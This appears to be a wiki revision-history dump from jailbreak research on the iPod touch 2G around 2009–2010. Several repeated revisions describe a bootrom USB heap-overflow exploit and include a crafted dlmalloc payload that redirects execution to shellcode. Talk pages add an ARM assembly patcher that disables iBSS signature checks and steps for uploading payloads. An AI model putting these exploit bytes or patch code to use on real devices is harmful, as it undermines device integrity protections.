the new bootrom ipod touch 2g where ipod touch 3g so will this exploit work on ipod3g and iphone 3gs --[[User:Liamchat|liamchat]] 14:51, 21 September 2010 (UTC)

:I don't completely understand your question, but no, this exploit will work on nothing other than the 2nd generation iPod touch (and is not particularly big news, since we can already run unsigned code on the second gen touch). [[User:AriX|AriX]] 18:01, 21 September 2010 (UTC)

[[User:Pod2g]] : I released this one because it's old devices only (Apple engineers already found and fixed it).
The good thing about it, is that it's a way to execute unsigned assembly code easily ''in the context of the bootrom''.
Researchers can use it to explore the bootrom, try things, etc. Also, maybe it could be useful for iDroid ?

Usb control msg(0xA1, 1) Exploit

2010-09-21T09:36:09Z

Pod2g:

Usb control msg(0xA1, 1) Exploit

2010-09-20T22:23:23Z

Pod2g:

{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}
A heap overflow exists in [[N72ap|iPod touch 2G]] bootrom (old and new MC models) DFU mode when sending a USB control message of request type 0xA1, request 0x1.

On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[posixninja]] analyzed and explained this one.

== Credit (Alphabetical) ==
* '''vulnerability''': [[pod2g]]
* '''exploitation''': [[pod2g]]
* '''payload''': unreleased

== Vulnerability ==

By fuzzing all possibles USB control messages of iPod2,1 DFU mode, it appeared that one special usb control message made it reboot.
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

== Exploitation ==

In order to exploit it, send this special USB packet (using 0x21, 1) :

<pre>
[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
</pre>

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute !

[[Category:Exploits]]

Usb control msg(0xA1, 1) Exploit

2010-09-20T22:18:40Z

Pod2g:

Usb control msg(0xA1, 1) Exploit

2010-09-20T21:58:27Z

Pod2g:

{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}
A heap overflow exists in [[N72ap|iPod touch 2G]] bootrom (old and new MC models) DFU mode when sending a USB control message of request type 0xA1, request 0x1.

On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[posixninja]] analyzed and explained this one.

== Credit (Alphabetical) ==
* '''vulnerability''': [[pod2g]]
* '''exploitation''': [[pod2g]]
* '''payload''': unreleased

== Vulnerability ==

By fuzzing all possibles USB control messages of iPod2,1 DFU mode, it appeared that one special usb control message made it reboot.
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

In order to exploit it, send this special USB packet (using 0x21, 1) :

<pre>
[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
</pre>

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute() !

[[Category:Exploits]]

Usb control msg(0xA1, 1) Exploit

2010-09-20T21:56:31Z

Pod2g:

{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}
A heap overflow exists in [[N72ap|iPod touch 2G]] bootrom (old and new MC models) DFU mode when sending a USB control message of request type 0xA1, request 0x1.

On newer devices, the same usb message triggers a double free() when the image upload is marked as finished, also rebooting the device as well (but that's not exploitable because the double free() happens in a row). [[posixninja]] analyzed and explained this one.

== Credit (Alphabetical) ==
* '''vulnerability''': [[pod2g]]
* '''exploitation''': [[pod2g]]
* '''payload''': unreleased

== Vulnerability ==

By fuzzing all possibles USB control messages of iPod2,1 DFU mode, it appeared that one special usb control message made it reboot.
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

In order to exploit it, send this special USB packet (using 0x21, 1) :

<pre>
[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
</pre>

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute() !

[[Category:Exploits]]

Usb control msg(0xA1, 1) Exploit

2010-09-20T21:55:27Z

Pod2g: /* Vulnerability */

{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}

A heap overflow exists in [[N72ap|iPod touch 2G]] bootrom (old and new MC models) DFU mode when sending a USB control message of request type 0xA1, request 0x1.
On newer devices, the same usb message triggers a double free() when the image upload is marked as finished, also rebooting the device as well (but that's not exploitable because the double free() happens in a row). [[posixninja]] analyzed and explained this one.

== Credit (Alphabetical) ==
* '''vulnerability''': [[pod2g]]
* '''exploitation''': [[pod2g]]
* '''payload''': unreleased

== Vulnerability ==

By fuzzing all possibles USB control messages of iPod2,1 DFU mode, it appeared that one special usb control message made it reboot.
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

In order to exploit it, send this special USB packet (using 0x21, 1) :

<pre>
[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
</pre>

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute() !

[[Category:Exploits]]

Usb control msg(0xA1, 1) Exploit

2010-09-20T21:54:56Z

Pod2g: New page: {{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}} A heap overflow exists in iPod touch 2G bootrom (old and new MC models) DFU mode when sending a USB control message of request ...

{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}

A heap overflow exists in [[N72ap|iPod touch 2G]] bootrom (old and new MC models) DFU mode when sending a USB control message of request type 0xA1, request 0x1.
On newer devices, the same usb message triggers a double free() when the image upload is marked as finished, also rebooting the device as well (but that's not exploitable because the double free() happens in a row). [[posixninja]] analyzed and explained this one.

== Credit (Alphabetical) ==
* '''vulnerability''': [[pod2g]]
* '''exploitation''': [[pod2g]]
* '''payload''': unreleased

== Vulnerability ==

By fuzzing all possibles USB control messages of iPod2,1 DFU mode, it appeared that one special usb control message made it reboot.
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

In order to exploit it, send this special USB packet (using 0x21, 1) :

[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute() !

[[Category:Exploits]]

Chronic Dev (team)

2010-09-20T19:05:38Z

Pod2g: /* Associates */

{{DISPLAYTITLE:Chronic Dev Team}}
[[Chronic Dev (team)|Chronic Dev]] is not the same as the [[iPhone Dev Team]]. [[Chronic Dev (team)|Chronic Dev]] is a team of hackers. Actually they cannot be distinctly assigned with such a "team", some just work losely together and might also be in another team. According to their [http://chronic-dev.org/blog/who-we-are/ Blog page] the following members are currently in the team:

== Official Members ==
*[[AriX]]
*[[User:ChronicDev|chronic]]
*[[User:DHowett|DHowett]]
*[[ius]]
*[[User:Jaywalker|Jaywalker]]
*[[User:NerveGas|NerveGas]]
*[[OPK]]
*[[User:posixninja|posixninja]]
*[[User:Semaphore|semaphore]]
*[[User:Westbaer|westbaer]]

== Associates ==
*[[bugout]]
*[[User:Bushing|bushing]]
*[[c1de0x]]
*[[chpwn]]
*[[User:Comex|comex]]
*[[copumpkin]]
*[[CPICH]]
*[[User:MuscleNerd|MuscleNerd]]
*[[nikias]]
*[[User:Planetbeing|planetbeing]]
*[[psp250]]
*[[saurik]]
*[[pod2g]]

==Projects==
*[[iRecovery|iRecovery / libirecovery]]
*[[greenpois0n]]
*[[GenPass]]

==Links==
*[http://chronic-dev.org/blog/ Chronic Dev Blog]
*[http://chronicdev.googlecode.com/ Chronic Dev google code]
*[http://twitter.com/chronicdevteam Chronic Dev Team on Twitter]
[[Category:Hackers]]

Chronic Dev (team)

2010-09-20T19:05:23Z

Pod2g: /* Official Members */

{{DISPLAYTITLE:Chronic Dev Team}}
[[Chronic Dev (team)|Chronic Dev]] is not the same as the [[iPhone Dev Team]]. [[Chronic Dev (team)|Chronic Dev]] is a team of hackers. Actually they cannot be distinctly assigned with such a "team", some just work losely together and might also be in another team. According to their [http://chronic-dev.org/blog/who-we-are/ Blog page] the following members are currently in the team:

== Official Members ==
*[[AriX]]
*[[User:ChronicDev|chronic]]
*[[User:DHowett|DHowett]]
*[[ius]]
*[[User:Jaywalker|Jaywalker]]
*[[User:NerveGas|NerveGas]]
*[[OPK]]
*[[User:posixninja|posixninja]]
*[[User:Semaphore|semaphore]]
*[[User:Westbaer|westbaer]]

== Associates ==
*[[bugout]]
*[[User:Bushing|bushing]]
*[[c1de0x]]
*[[chpwn]]
*[[User:Comex|comex]]
*[[copumpkin]]
*[[CPICH]]
*[[User:MuscleNerd|MuscleNerd]]
*[[nikias]]
*[[User:Planetbeing|planetbeing]]
*[[psp250]]
*[[saurik]]

==Projects==
*[[iRecovery|iRecovery / libirecovery]]
*[[greenpois0n]]
*[[GenPass]]

==Links==
*[http://chronic-dev.org/blog/ Chronic Dev Blog]
*[http://chronicdev.googlecode.com/ Chronic Dev google code]
*[http://twitter.com/chronicdevteam Chronic Dev Team on Twitter]
[[Category:Hackers]]

Talk:0x24000 Segment Overflow

2009-03-13T11:29:50Z

Pod2g:

I have questions.
What is the LR?
How do we write to the NOR?

LR is the link register. it usually contains a pointer to where the current routine is to return to.
NOR is written by putting the device into dfu mode and writing to the nor0 block device using a tools like iRecovery
--[[User:Posixninja|posixninja]] 17:58, 12 March 2009 (UTC)

I rewrote the article as one geared more toward the technical/security community than hobbyists trying to manually perform the patch. My hope is that it will be more useful in this form for the linux4nano community, who are trying to jailbreak the iPod Nano 4G, which apparently uses the same SoC. --[[User:Planetbeing|Planetbeing]] 07:46, 13 March 2009 (UTC)

Nice work guys. Did you use a debugger of some sort? this would be difficult without a debugger. Here's how I understand it, so we overwrite pointers pointing to where and what data is written. By writing to the stack, we can overwrite the subroutine's return address(LR). The subroutine will now return to the payload. Is this correct?--[[User:Paul0|paulzero]] 11:23, 13 March 2009 (UTC)

'''Answer to Paul0 :'''
Hi Paul0. No debugger at all. Only hundreds of tests to find the LR in the stack :) [thx to posixninja for the tests, planetbeing for the analysis of the tests]. --[[User:Pod2g|Pod2g]]

Talk:0x24000 Segment Overflow

2009-03-13T11:29:01Z

Pod2g:

I have questions.
What is the LR?
How do we write to the NOR?

LR is the link register. it usually contains a pointer to where the current routine is to return to.
NOR is written by putting the device into dfu mode and writing to the nor0 block device using a tools like iRecovery
--[[User:Posixninja|posixninja]] 17:58, 12 March 2009 (UTC)

I rewrote the article as one geared more toward the technical/security community than hobbyists trying to manually perform the patch. My hope is that it will be more useful in this form for the linux4nano community, who are trying to jailbreak the iPod Nano 4G, which apparently uses the same SoC. --[[User:Planetbeing|Planetbeing]] 07:46, 13 March 2009 (UTC)

Nice work guys. Did you use a debugger of some sort? this would be difficult without a debugger. Here's how I understand it, so we overwrite pointers pointing to where and what data is written. By writing to the stack, we can overwrite the subroutine's return address(LR). The subroutine will now return to the payload. Is this correct?--[[User:Paul0|paulzero]] 11:23, 13 March 2009 (UTC)

Hi Paul0. No debugger at all. Only hundreds of tests to find the LR in the stack :) [thx to posixninja for the tests, planetbeing for the analysis of the tests].

User talk:Pod2g

2009-01-20T01:12:08Z

Pod2g:

== Size ==

Hey, thanks for the input on arm7_go. I'll try i tout....but when you said before 0x00000048, what exactly did you mean? The thing is, anyway, when I assemble it with gas there is no opcode there that has 0x48 in it...or is this not what you mean?

Thanks,
-chronic

PS: If this works I'll mirror it in the a7go page, I am just putting it here because people can see it in recent changes anyway, and because you will get a notification at the top of the screen next time you come here telling you that you have new messages.

Chronic,

Here is the script I use to compile with gas (I am not expert... it is my experiments) :

$ cat compile.sh

arm-elf-as.exe -mcpu=arm7 -o test.o test.asm

arm-elf-objcopy.exe -I elf32-little -O binary test.o test.payload

----
Then for the moment, I modify test.payload to add its size as a little endian double word manually (using WinHex)

For your example : the size of your code is 72 => 0x48.

So I add 48 00 00 00 just before the payload.

After that I upload the payload with your iRecovery -f

Then arm7_go :)
----
I just tested to make a payload with just a RET (MOV PC, LR) in it and it didn't crashed my ipod.
It means nothing but... I continue !
-----

User talk:Pod2g

2009-01-19T22:36:28Z

Pod2g: /* Size */

User talk:Pod2g

2009-01-19T22:35:28Z

Pod2g: /* Size */

== Size ==

Hey, thanks for the input on arm7_go. I'll try i tout....but when you said before 0x00000048, what exactly did you mean? The thing is, anyway, when I assemble it with gas there is no opcode there that has 0x48 in it...or is this not what you mean?

Thanks,
-chronic

PS: If this works I'll mirror it in the a7go page, I am just putting it here because people can see it in recent changes anyway, and because you will get a notification at the top of the screen next time you come here telling you that you have new messages.

Chronic,

Here is the script I use to compile with gas (I am not expert... it is my experiments) :

$ cat compile.sh

arm-elf-as.exe -mcpu=arm7 -o test.o test.asm

arm-elf-objcopy.exe -I elf32-little -O binary test.o test.payload

----
Then for the moment, I modify test.payload to add its size as a little endian double word manually (using WinHex)
For your example : the size of your code is 72 => 0x48.
So I add 48 00 00 00 just before the payload.

After that I upload the payload with your iRecovery -f
Then arm7_go :)
----
I just tested to make a payload with just a RET (MOV PC, LR) in it and it didn't crashed my ipod.
It means nothing but... I continue !
----
I wish we can talk by email. How can I send my email to you in a secure way ?

User talk:Pod2g

2009-01-19T22:35:16Z

Pod2g: /* Size */

== Size ==

Hey, thanks for the input on arm7_go. I'll try i tout....but when you said before 0x00000048, what exactly did you mean? The thing is, anyway, when I assemble it with gas there is no opcode there that has 0x48 in it...or is this not what you mean?

Thanks,
-chronic

PS: If this works I'll mirror it in the a7go page, I am just putting it here because people can see it in recent changes anyway, and because you will get a notification at the top of the screen next time you come here telling you that you have new messages.

Chronic,

Here is the script I use to compile with gas (I am not expert... it is my experiments) :

$ cat compile.sh
arm-elf-as.exe -mcpu=arm7 -o test.o test.asm
arm-elf-objcopy.exe -I elf32-little -O binary test.o test.payload

----
Then for the moment, I modify test.payload to add its size as a little endian double word manually (using WinHex)
For your example : the size of your code is 72 => 0x48.
So I add 48 00 00 00 just before the payload.

After that I upload the payload with your iRecovery -f
Then arm7_go :)
----
I just tested to make a payload with just a RET (MOV PC, LR) in it and it didn't crashed my ipod.
It means nothing but... I continue !
----
I wish we can talk by email. How can I send my email to you in a secure way ?

User talk:Pod2g

2009-01-19T22:35:07Z

Pod2g: /* Size */

== Size ==

Hey, thanks for the input on arm7_go. I'll try i tout....but when you said before 0x00000048, what exactly did you mean? The thing is, anyway, when I assemble it with gas there is no opcode there that has 0x48 in it...or is this not what you mean?

Thanks,
-chronic

PS: If this works I'll mirror it in the a7go page, I am just putting it here because people can see it in recent changes anyway, and because you will get a notification at the top of the screen next time you come here telling you that you have new messages.

Chronic,

Here is the script I use to compile with gas (I am not expert... it is my experiments) :

$ cat compile.sh

arm-elf-as.exe -mcpu=arm7 -o test.o test.asm

arm-elf-objcopy.exe -I elf32-little -O binary test.o test.payload

----
Then for the moment, I modify test.payload to add its size as a little endian double word manually (using WinHex)
For your example : the size of your code is 72 => 0x48.
So I add 48 00 00 00 just before the payload.

After that I upload the payload with your iRecovery -f
Then arm7_go :)
----
I just tested to make a payload with just a RET (MOV PC, LR) in it and it didn't crashed my ipod.
It means nothing but... I continue !
----
I wish we can talk by email. How can I send my email to you in a secure way ?

User talk:Pod2g

2009-01-19T22:34:41Z

Pod2g: /* Size */

== Size ==

Hey, thanks for the input on arm7_go. I'll try i tout....but when you said before 0x00000048, what exactly did you mean? The thing is, anyway, when I assemble it with gas there is no opcode there that has 0x48 in it...or is this not what you mean?

Thanks,
-chronic

PS: If this works I'll mirror it in the a7go page, I am just putting it here because people can see it in recent changes anyway, and because you will get a notification at the top of the screen next time you come here telling you that you have new messages.

Chronic,

Here is the script I use to compile with gas (I am not expert... it is my experiments) :

$ cat compile.sh
arm-elf-as.exe -mcpu=arm7 -o test.o test.asm
arm-elf-objcopy.exe -I elf32-little -O binary test.o test.payload

----
Then for the moment, I modify test.payload to add its size as a little endian double word manually (using WinHex)
For your example : the size of your code is 72 => 0x48.
So I add 48 00 00 00 just before the payload.

After that I upload the payload with your iRecovery -f
Then arm7_go :)
----
I just tested to make a payload with just a RET (MOV PC, LR) in it and it didn't crashed my ipod.
It means nothing but... I continue !
----
I wish we can talk by email. How can I send my email to you in a secure way ?

Talk:ARM7 Go

2009-01-19T22:03:59Z

Pod2g: /* Chronic, I may have found the way to use arm7_go */

==My Payload==
(Since RedSn0w will be out any day, this is just for the hell of it :)

If anyone has any ideas and would like to mess around with this hack, here is some code that (should) patch a 2.1.1 iBSS that you loaded, in memory. Again, just for fun, as the [[dev team]] probably has redsn0w, it's payload, and program almost completed.

<pre>
@ ipod touch 2G ibss 2.1.1 patcher
@ by chronic with some gas help from ius
@
@ assemble this with gas

.section .text
.global _start
_start:
stmdb sp!, {r0-r6}
ldr r0, =rangePatch
ldr r1, =permsPatch
ldr r2, =sigchPatch
ldr r3, =sigchecLoc
ldr r4, =permschLoc
ldr r6, =rangechLoc
strh r1, [r4]
strh r0, [r6]
strh r2, [r3]
ldmia sp!, {r0-r6}
mov pc, lr

.section .data
sigchecLoc: .word 0x2200F2FE
permschLoc: .word 0x2200C330
rangechLoc: .word 0x2200C3A6
rangePatch: .hword 0x0120
permsPatch: .hword 0x0124
sigchPatch: .hword 0x0020
</pre>

[[User:ChronicDev|ChronicDev]] 19:45, 16 January 2009 (UTC)

==Chronic, I may have found the way to use arm7_go==
Try to add the size of your payload just before it as an 32bit integer.

1. without size :
I assembled your payload with gas then tried to upload it at 0x09000000 and start arm7_go.
It did nothing.
2. with size before : 0x00000048 then your payload uploaded at 0x09000000.
arm7_go => it crashed my ipod 2G.

I hope it can help. I am continuing my reasearches.

~[[User:pod2g|pod2g]]

==How do you pass the bootrom RSA checks?==
I've noticed that the exploit is at the iBoot level. So how do you (or the Dev-Team) pass the bootrom RSA checks?

~[[User:Oranav|Oranav]]

==RE: How do you pass the bootrom RSA checks?==
I do not know how it is done, but taking the screenshot on the latest devteam blog post, they have found a way to do so.

== RE: RE: How do you pass the bootrom RSA checks? ==

Okay, as to MuscleNerd's redsn0w demo, it's pretty yellowsn0w like - you have to let the bootrom sigchecks pass, and then use the exploit every time the device boots. Pretty annoying, but that's the only option without a way to pass bootrom sigchecks.

~[[User:Oranav|Oranav]]

== Wel... ==

They noted they are looking for a way around that.

Talk:ARM7 Go

2009-01-19T22:03:11Z

Pod2g:

==My Payload==
(Since RedSn0w will be out any day, this is just for the hell of it :)

If anyone has any ideas and would like to mess around with this hack, here is some code that (should) patch a 2.1.1 iBSS that you loaded, in memory. Again, just for fun, as the [[dev team]] probably has redsn0w, it's payload, and program almost completed.

<pre>
@ ipod touch 2G ibss 2.1.1 patcher
@ by chronic with some gas help from ius
@
@ assemble this with gas

.section .text
.global _start
_start:
stmdb sp!, {r0-r6}
ldr r0, =rangePatch
ldr r1, =permsPatch
ldr r2, =sigchPatch
ldr r3, =sigchecLoc
ldr r4, =permschLoc
ldr r6, =rangechLoc
strh r1, [r4]
strh r0, [r6]
strh r2, [r3]
ldmia sp!, {r0-r6}
mov pc, lr

.section .data
sigchecLoc: .word 0x2200F2FE
permschLoc: .word 0x2200C330
rangechLoc: .word 0x2200C3A6
rangePatch: .hword 0x0120
permsPatch: .hword 0x0124
sigchPatch: .hword 0x0020
</pre>

[[User:ChronicDev|ChronicDev]] 19:45, 16 January 2009 (UTC)

==Chronic, I may have found the way to use arm7_go==
Try to add the size of your payload just before it as an 32bit integer.
1. without size :
I assembled your payload with gas then tried to upload it at 0x09000000 and start arm7_go.
It did nothing.
2. with size before : 0x00000048 then your payload uploaded at 0x09000000.
arm7_go => it crashed my ipod 2G.

I hope it can help. I am continuing my reasearches.

~[[User:pod2g|pod2g]]

==How do you pass the bootrom RSA checks?==
I've noticed that the exploit is at the iBoot level. So how do you (or the Dev-Team) pass the bootrom RSA checks?

~[[User:Oranav|Oranav]]

==RE: How do you pass the bootrom RSA checks?==
I do not know how it is done, but taking the screenshot on the latest devteam blog post, they have found a way to do so.

== RE: RE: How do you pass the bootrom RSA checks? ==

Okay, as to MuscleNerd's redsn0w demo, it's pretty yellowsn0w like - you have to let the bootrom sigchecks pass, and then use the exploit every time the device boots. Pretty annoying, but that's the only option without a way to pass bootrom sigchecks.

~[[User:Oranav|Oranav]]

== Wel... ==

They noted they are looking for a way around that.